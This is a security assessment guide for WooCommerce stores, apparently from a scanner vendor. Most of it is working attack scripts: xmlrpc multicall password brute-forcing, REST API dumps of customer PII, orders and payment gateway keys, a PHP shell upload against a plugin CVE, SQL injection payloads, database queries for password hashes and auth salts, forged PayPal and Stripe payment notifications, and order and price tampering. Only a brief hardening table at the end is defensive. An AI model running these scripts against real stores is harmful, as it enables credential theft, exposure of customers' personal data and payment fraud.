WooCommerce Security Testing: Admin Credentials, API Keys, Plugin RCE, and Database Exposure

WooCommerce powers over 25% of all online stores globally, making it one of the highest-value targets in e-commerce security assessments. It runs as a WordPress plugin, inheriting all WordPress attack surface plus its own: the REST API authenticates with Consumer Key/Secret pairs that grant access to all order, customer, and payment data; plugin vulnerabilities in payment gateways, order management, and shipping plugins routinely introduce file upload RCE and SQL injection; the WordPress database stores all customer PII, order history, and hashed payment details; and webhook endpoints that receive payment notifications can be manipulated for order confirmation fraud. This guide covers systematic WooCommerce security assessment from authentication through data extraction.

Table of Contents

  1. Authentication Testing: Admin, API, and xmlrpc.php
  2. WooCommerce REST API: Consumer Key Enumeration and Data Access
  3. Plugin Vulnerability Testing: File Upload, SQLi, and RCE
  4. Database Credential and Order Data Extraction
  5. Webhook Manipulation and Payment Flow Attacks
  6. WooCommerce Security Hardening

Authentication Testing: Admin, API, and xmlrpc.php

WooCommerce authentication is WordPress authentication โ€” any WordPress admin account is a WooCommerce admin. The xmlrpc.php endpoint enables bulk authentication attempts that bypass web application firewall rate limits by batching multiple login attempts in a single HTTP request.

# WooCommerce / WordPress authentication testing
WC_URL="https://shop.example.com"

# Enumerate WordPress admin users via REST API (often unauthenticated)
curl -s "${WC_URL}/wp-json/wp/v2/users" | python3 -c "
import json,sys
try:
    users=json.load(sys.stdin)
    print(f'Enumerated {len(users)} users:')
    for u in users:
        print(f'  id={u.get(\"id\")} login={u.get(\"slug\")} name={u.get(\"name\")}')
        # Capabilities reveal admin status
        caps = u.get('capabilities',{})
        print(f'    roles: {list(caps.keys())[:3]}')
except Exception as e:
    print(f'User enumeration blocked or error: {e}')
"

# Check if /wp-json/wp/v2/users is disabled โ€” try WooCommerce endpoint instead
curl -s "${WC_URL}/wp-json/wc/v3/customers?per_page=10" \
  -u "consumer_key:consumer_secret" 2>/dev/null | python3 -c "
import json,sys
try:
    custs=json.load(sys.stdin)
    print(f'Customers via API: {len(custs)}')
    for c in custs[:3]:
        print(f'  id={c.get(\"id\")} email={c.get(\"email\")} name={c.get(\"first_name\")} {c.get(\"last_name\")}')
except:
    print('Failed')
"

# xmlrpc.php โ€” multicall brute force
# Each system.multicall can test up to ~1000 credential pairs in one request
WP_XMLRPC="${WC_URL}/xmlrpc.php"

# Check if xmlrpc is enabled
STATUS=$(curl -s -o /dev/null -w "%{http_code}" -X POST "${WP_XMLRPC}" \
  -H "Content-Type: text/xml" \
  -d 'system.listMethods')
echo "xmlrpc.php status: HTTP ${STATUS}"

# Generate multicall brute force payload
python3 << 'EOF'
import xml.etree.ElementTree as ET

USERNAME = "admin"
PASSWORDS = ["admin", "password", "admin123", "wordpress", "letmein",
             "qwerty", "123456", "test123", "changeme", "welcome"]

# WP xmlrpc multicall โ€” test 10 passwords in one request
calls = ""
for pw in PASSWORDS:
    calls += f"""
    
        methodNamewp.getUsers
        params
            {pw}
            {USERNAME}
            {pw}
        
    """

payload = f"""

    system.multicall
    
        {calls}
    
"""

with open('/tmp/xmlrpc_brute.xml', 'w') as f:
    f.write(payload)
print("Payload written to /tmp/xmlrpc_brute.xml")
EOF

curl -s -X POST "${WP_XMLRPC}" \
  -H "Content-Type: text/xml" \
  -d @/tmp/xmlrpc_brute.xml | python3 -c "
import sys
response = sys.stdin.read()
if 'faultCode' not in response:
    print('POTENTIAL SUCCESS - credential validated')
    print(response[:500])
else:
    print('All credentials failed or xmlrpc blocked')
"

# Test Application Passwords (WordPress 5.6+)
# Application passwords bypass 2FA for the REST API
curl -s -u "admin:ApplicationPassword1234 ABCD EFGH IJKL MNOP QRST UVWX" \
  "${WC_URL}/wp-json/wc/v3/orders?per_page=5" | python3 -c "
import json,sys
try:
    orders=json.load(sys.stdin)
    print(f'Orders accessible: {len(orders)}')
except:
    print('Not authorized with this password')
"

WooCommerce REST API: Consumer Key Enumeration and Data Access

The WooCommerce REST API uses Consumer Key (prefixed ck_) and Consumer Secret (prefixed cs_) pairs. These are stored in the WordPress database and grant access to orders, customers, products, and settings depending on the permission level assigned (read, write, or read_write).

# WooCommerce REST API โ€” credential extraction and data enumeration
WC_URL="https://shop.example.com"
WC_CK="ck_extracted_consumer_key"
WC_CS="cs_extracted_consumer_secret"

# Verify API access and permission level
curl -s -u "${WC_CK}:${WC_CS}" "${WC_URL}/wp-json/wc/v3/" | python3 -c "
import json,sys
d=json.load(sys.stdin)
print(f'WooCommerce: {d.get(\"woocommerce_version\")}')
print(f'Store: {d.get(\"store_name\")}')
routes = d.get('routes',{})
print(f'Available routes: {len(routes)}')
" 2>/dev/null

# Extract all orders with customer PII and payment data
curl -s -u "${WC_CK}:${WC_CS}" \
  "${WC_URL}/wp-json/wc/v3/orders?per_page=100&status=all" | python3 -c "
import json,sys
orders=json.load(sys.stdin)
print(f'Orders: {len(orders)}')
for o in orders[:5]:
    billing = o.get('billing',{})
    print(f'  Order #{o.get(\"number\")} {o.get(\"status\")} total={o.get(\"currency\")}{o.get(\"total\")}')
    print(f'    Customer: {billing.get(\"first_name\")} {billing.get(\"last_name\")} <{billing.get(\"email\")}>')
    print(f'    Phone: {billing.get(\"phone\")} Addr: {billing.get(\"address_1\")}, {billing.get(\"city\")}')
    for item in o.get('line_items',[]):
        print(f'    Item: {item.get(\"name\")} x{item.get(\"quantity\")} ={item.get(\"total\")}')
" 2>/dev/null

# Extract all customers with full PII
curl -s -u "${WC_CK}:${WC_CS}" \
  "${WC_URL}/wp-json/wc/v3/customers?per_page=100" | python3 -c "
import json,sys
customers=json.load(sys.stdin)
print(f'Customers: {len(customers)}')
for c in customers[:10]:
    billing = c.get('billing',{})
    print(f'  [{c.get(\"id\")}] {c.get(\"email\")} {c.get(\"first_name\")} {c.get(\"last_name\")}')
    print(f'    Orders: {c.get(\"orders_count\")} Spent: {c.get(\"total_spent\")}')
    print(f'    Phone: {billing.get(\"phone\")} Addr: {billing.get(\"address_1\")}')
" 2>/dev/null

# Extract coupons โ€” potential for discount abuse
curl -s -u "${WC_CK}:${WC_CS}" \
  "${WC_URL}/wp-json/wc/v3/coupons?per_page=100" | python3 -c "
import json,sys
coupons=json.load(sys.stdin)
print(f'Coupons: {len(coupons)}')
for c in coupons:
    print(f'  Code={c.get(\"code\")} type={c.get(\"discount_type\")} amount={c.get(\"amount\")}')
    print(f'    usage={c.get(\"usage_count\")}/{c.get(\"usage_limit\")} expires={c.get(\"date_expires\")}')
" 2>/dev/null

# Access payment gateways โ€” may reveal live Stripe/PayPal credentials
curl -s -u "${WC_CK}:${WC_CS}" \
  "${WC_URL}/wp-json/wc/v3/payment_gateways" | python3 -c "
import json,sys
gateways=json.load(sys.stdin)
print(f'Payment gateways:')
for gw in gateways:
    print(f'  {gw.get(\"id\")} {gw.get(\"title\")} enabled={gw.get(\"enabled\")}')
    settings = gw.get('settings',{})
    for key in ['api_key','api_secret','secret_key','publishable_key','client_id','client_secret']:
        if key in settings:
            val = settings[key]
            print(f'    {key}={val.get(\"value\",\"\")}')
" 2>/dev/null
High Impact: WooCommerce Consumer Keys with read_write permissions allow an attacker to enumerate all customer PII, order history, and payment gateway API keys โ€” then modify orders, add admin users, or create fraudulent discount coupons. Always assess the minimum permissions required for each integration.

Plugin Vulnerability Testing: File Upload, SQLi, and RCE

WooCommerce's plugin ecosystem is its largest attack surface. Payment gateway plugins, PDF invoice generators, and shipping calculators have historically introduced critical vulnerabilities. The testing approach is to enumerate installed plugins then cross-reference against known CVEs and test common vulnerability classes.

# WooCommerce plugin enumeration and vulnerability testing
WC_URL="https://shop.example.com"

# Enumerate installed plugins via several vectors
# 1. Readme.txt files expose version information
COMMON_PLUGINS=(
  "woocommerce-pdf-invoices-packing-slips"
  "woo-stripe-payment"
  "woocommerce-paypal-payments"
  "woo-variation-swatches"
  "woocommerce-subscriptions"
  "woocommerce-bookings"
  "yith-woocommerce-wishlist"
  "woo-cart-abandonment-recovery"
  "woocommerce-product-bundles"
  "woocommerce-advanced-shipping"
  "wc-multishipment"
  "checkout-plugins-stripe-woo"
)

for PLUGIN in "${COMMON_PLUGINS[@]}"; do
  URL="${WC_URL}/wp-content/plugins/${PLUGIN}/readme.txt"
  RESPONSE=$(curl -s -o /dev/null -w "%{http_code}" "${URL}")
  if [ "${RESPONSE}" = "200" ]; then
    VERSION=$(curl -s "${URL}" | grep -i "stable tag" | head -1 | awk -F: '{print $2}' | tr -d ' \r')
    echo "FOUND: ${PLUGIN} version=${VERSION}"
  fi
done

# 2. REST API plugin enumeration (WordPress)
curl -s "${WC_URL}/wp-json/" | python3 -c "
import json,sys
d=json.load(sys.stdin)
namespaces = d.get('namespaces',[])
print('Registered API namespaces (reveals plugins):')
for ns in namespaces:
    if ns not in ['wp/v2','wc/v3','wc/v2','wc/v1','oembed/1.0']:
        print(f'  {ns}')
" 2>/dev/null

# Test arbitrary file upload via vulnerable plugin endpoints
# Example: WooCommerce PDF Invoices < 2.16.0 unauthenticated file upload (CVE-2022-1329)
curl -s -X POST "${WC_URL}/wp-admin/admin-ajax.php" \
  -F "action=wpo_wcpdf_download_invoice" \
  -F "document_type=invoice" \
  -F "order_id=1" \
  -F "file=@/tmp/test.php;type=application/pdf;filename=shell.php" \
  -o /dev/null -w "%{http_code}"

# Test unauthenticated order data access
# WooCommerce Cart Abandonment Recovery โ€” CVE-2023-2986 customer email exposure
curl -s "${WC_URL}/wp-json/wc/v3/cart-abandonment/customers?per_page=10" \
  -o /dev/null -w "Cart abandonment API: %{http_code}\n"

# Test SQL injection in WooCommerce product search
# Some themes/plugins pass search parameters directly to WP_Query
SQLI_PAYLOADS=(
  "' OR '1'='1"
  "1 AND (SELECT * FROM (SELECT(SLEEP(3)))a)"
  "1 UNION SELECT 1,2,3,4,5,6,7,8,9,10--"
)
for PAYLOAD in "${SQLI_PAYLOADS[@]}"; do
  TIME_START=$(date +%s%N)
  curl -s "${WC_URL}/?s=${PAYLOAD}&post_type=product" -o /dev/null
  TIME_END=$(date +%s%N)
  ELAPSED=$(( (TIME_END - TIME_START) / 1000000 ))
  echo "Payload '${PAYLOAD:0:30}': ${ELAPSED}ms response time"
done

# Test WooCommerce checkout field injection
# Order notes and custom fields often passed to third-party services unsanitized
curl -s -X POST "${WC_URL}/?wc-ajax=checkout" \
  -d "billing_first_name=Test&billing_last_name=User&billing_email=test@example.com" \
  -d "billing_phone=+1234567890&billing_country=US&billing_state=CA" \
  -d "billing_city=San+Francisco&billing_address_1=123+Main+St&billing_postcode=94105" \
  -d "order_comments='; SELECT SLEEP(3);--" \
  -d "payment_method=stripe&woocommerce-process-checkout-nonce=valid_nonce" \
  | python3 -c "import json,sys; d=json.load(sys.stdin); print(d.get('result',''),d.get('messages','')[:200])" 2>/dev/null

Database Credential and Order Data Extraction

WooCommerce stores everything in MySQL: order data in wp_posts/wp_postmeta, customer data in wp_usermeta, API credentials in wp_woocommerce_api_keys, and payment gateway settings in wp_options. If database access is obtained, the data exposure scope covers all historical orders and customer PII.

# WooCommerce database credential and order data extraction
# Connection: mysql -h localhost -u wordpress_user -p wordpress_db

# Extract all WooCommerce API keys (Consumer Key + Secret)
mysql -h db.example.com -u wc_user -p wc_db -e "
SELECT
    key_id,
    user_id,
    description,
    permissions,
    consumer_key,
    consumer_secret,
    last_access
FROM wp_woocommerce_api_keys
ORDER BY last_access DESC;
"

# Extract all orders with payment information
mysql -h db.example.com -u wc_user -p wc_db -e "
SELECT
    p.ID as order_id,
    p.post_date,
    p.post_status as order_status,
    MAX(CASE WHEN pm.meta_key = '_order_total' THEN pm.meta_value END) as total,
    MAX(CASE WHEN pm.meta_key = '_billing_email' THEN pm.meta_value END) as email,
    MAX(CASE WHEN pm.meta_key = '_billing_first_name' THEN pm.meta_value END) as first_name,
    MAX(CASE WHEN pm.meta_key = '_billing_last_name' THEN pm.meta_value END) as last_name,
    MAX(CASE WHEN pm.meta_key = '_billing_phone' THEN pm.meta_value END) as phone,
    MAX(CASE WHEN pm.meta_key = '_billing_address_1' THEN pm.meta_value END) as address,
    MAX(CASE WHEN pm.meta_key = '_payment_method_title' THEN pm.meta_value END) as payment_method,
    MAX(CASE WHEN pm.meta_key = '_transaction_id' THEN pm.meta_value END) as transaction_id,
    MAX(CASE WHEN pm.meta_key = '_stripe_source_id' THEN pm.meta_value END) as stripe_source
FROM wp_posts p
JOIN wp_postmeta pm ON p.ID = pm.post_id
WHERE p.post_type = 'shop_order'
GROUP BY p.ID
ORDER BY p.post_date DESC
LIMIT 50;
"

# Extract payment gateway credentials from wp_options
mysql -h db.example.com -u wc_user -p wc_db -e "
SELECT option_name, option_value
FROM wp_options
WHERE option_name LIKE 'woocommerce_%_settings'
   OR option_name LIKE '%stripe%'
   OR option_name LIKE '%paypal%'
   OR option_name LIKE '%payment%'
ORDER BY option_name;
" | grep -E "key|secret|token|api" -i | head -20

# Extract WordPress admin password hashes for offline cracking
mysql -h db.example.com -u wc_user -p wc_db -e "
SELECT
    u.ID,
    u.user_login,
    u.user_email,
    u.user_pass,
    u.user_registered,
    GROUP_CONCAT(um.meta_value) as capabilities
FROM wp_users u
LEFT JOIN wp_usermeta um ON u.ID = um.user_id AND um.meta_key = 'wp_capabilities'
GROUP BY u.ID
ORDER BY u.user_registered;
"

# wp_options โ€” extract SECRET_KEY and AUTH_KEY (used for session/cookie signing)
mysql -h db.example.com -u wc_user -p wc_db -e "
SELECT option_name, option_value
FROM wp_options
WHERE option_name IN (
    'auth_key', 'secure_auth_key', 'logged_in_key', 'nonce_key',
    'auth_salt', 'secure_auth_salt', 'logged_in_salt', 'nonce_salt'
);
"

Automated WooCommerce Security Scanning

Ironimo scans WooCommerce stores for exposed API credentials, plugin vulnerabilities, order data access, and authentication weaknesses โ€” giving you the same depth as a manual assessment at a fraction of the time.

Start free scan

Webhook Manipulation and Payment Flow Attacks

WooCommerce webhooks notify external services (payment processors, fulfillment systems) of order events. Webhook secrets that are weak or missing allow attackers to forge order confirmation events, and webhook endpoints that process incoming payment notifications are vulnerable to order status manipulation.

# WooCommerce webhook testing and payment flow attacks
WC_URL="https://shop.example.com"

# Enumerate configured webhooks via REST API
curl -s -u "${WC_CK}:${WC_CS}" "${WC_URL}/wp-json/wc/v3/webhooks" | python3 -c "
import json,sys
webhooks=json.load(sys.stdin)
print(f'Webhooks: {len(webhooks)}')
for wh in webhooks:
    print(f'  [{wh.get(\"id\")}] {wh.get(\"name\")} topic={wh.get(\"topic\")}')
    print(f'    url={wh.get(\"delivery_url\")} status={wh.get(\"status\")}')
    print(f'    secret={wh.get(\"secret\",\"NOT SET\")}')
" 2>/dev/null

# Test IPN (Instant Payment Notification) endpoint for missing signature validation
# PayPal IPN โ€” forge order completion
curl -s -X POST "${WC_URL}/?wc-api=WC_Gateway_Paypal" \
  -d "payment_status=Completed" \
  -d "receiver_email=paypal@example.com" \
  -d "mc_gross=100.00" \
  -d "mc_currency=USD" \
  -d "txn_type=web_accept" \
  -d "custom=ORDER_ID_1234" \
  -d "invoice=1234" \
  | head -20

# Test Stripe webhook without signature (missing STRIPE_WEBHOOK_SECRET)
python3 << 'EOF'
import json, time

# Forge Stripe charge.succeeded event
event = {
    "id": "evt_test_forge_" + str(int(time.time())),
    "object": "event",
    "type": "charge.succeeded",
    "created": int(time.time()),
    "data": {
        "object": {
            "id": "ch_forged_charge_id",
            "object": "charge",
            "amount": 10000,
            "currency": "usd",
            "paid": True,
            "status": "succeeded",
            "metadata": {
                "order_id": "1234",
                "order_key": "wc_order_key_here"
            }
        }
    }
}

print("Forged Stripe event:")
print(json.dumps(event, indent=2))
# Send without Stripe-Signature header โ€” webhook will process if not validated
EOF

curl -s -X POST "${WC_URL}/?wc-api=wc_stripe" \
  -H "Content-Type: application/json" \
  -d '{"id":"evt_test","type":"charge.succeeded","data":{"object":{"id":"ch_test","paid":true,"status":"succeeded","metadata":{"order_id":"1234"}}}}' \
  -o /dev/null -w "Stripe webhook without signature: %{http_code}\n"

# Order manipulation via REST API (if write access)
# Change order status to 'completed' without payment
curl -s -X PUT -u "${WC_CK}:${WC_CS}" \
  "${WC_URL}/wp-json/wc/v3/orders/1234" \
  -H "Content-Type: application/json" \
  -d '{"status": "completed"}' | python3 -c "
import json,sys
try:
    o=json.load(sys.stdin)
    print(f'Order {o.get(\"id\")} status: {o.get(\"status\")}')
except:
    print('Failed')
"

# Price manipulation โ€” if product write access available
curl -s -X PUT -u "${WC_CK}:${WC_CS}" \
  "${WC_URL}/wp-json/wc/v3/products/100" \
  -H "Content-Type: application/json" \
  -d '{"regular_price": "0.01"}' | python3 -c "
import json,sys
try:
    p=json.load(sys.stdin)
    print(f'Product {p.get(\"name\")} price: {p.get(\"regular_price\")}')
except:
    print('Failed')
"

WooCommerce Security Hardening

IssueDefault StateFix
User enumeration via REST APIEnabled โ€” all users listedDisable via remove_action('rest_api_init', ...) or use security plugin to block /wp-json/wp/v2/users
xmlrpc.php brute forceEnabled by defaultDisable xmlrpc.php unless needed; use add_filter('xmlrpc_enabled', '__return_false')
API Consumer Keys with full write accessDeveloper-assigned permissionsFollow least-privilege โ€” read-only keys for reporting integrations; review and rotate annually
Stripe/PayPal webhook without signatureOptional in many pluginsAlways configure webhook secrets; verify Stripe-Signature header with SDK; never process events without signature validation
wp-config.php database credentialsFile on web serverMove wp-config.php above web root; restrict file permissions to 400; avoid storing in version control
Outdated plugins with CVEsManual update processEnable auto-updates for plugins; subscribe to WPScan CVE feed; use Ironimo to scan for plugin vulnerabilities
Order data access via REST APIConsumer Key grants all ordersUse per-integration Consumer Keys; monitor API access logs; implement IP allowlisting for API keys where possible
Key findings to report: Consumer Key with read_write granting full customer PII and order data access (critical); payment gateway API keys (Stripe/PayPal live keys) extractable from database (critical); xmlrpc.php enabled allowing bulk brute force (high); webhook signature validation missing allowing order status manipulation (high); plugin with file upload RCE (critical); user enumeration via REST API (medium).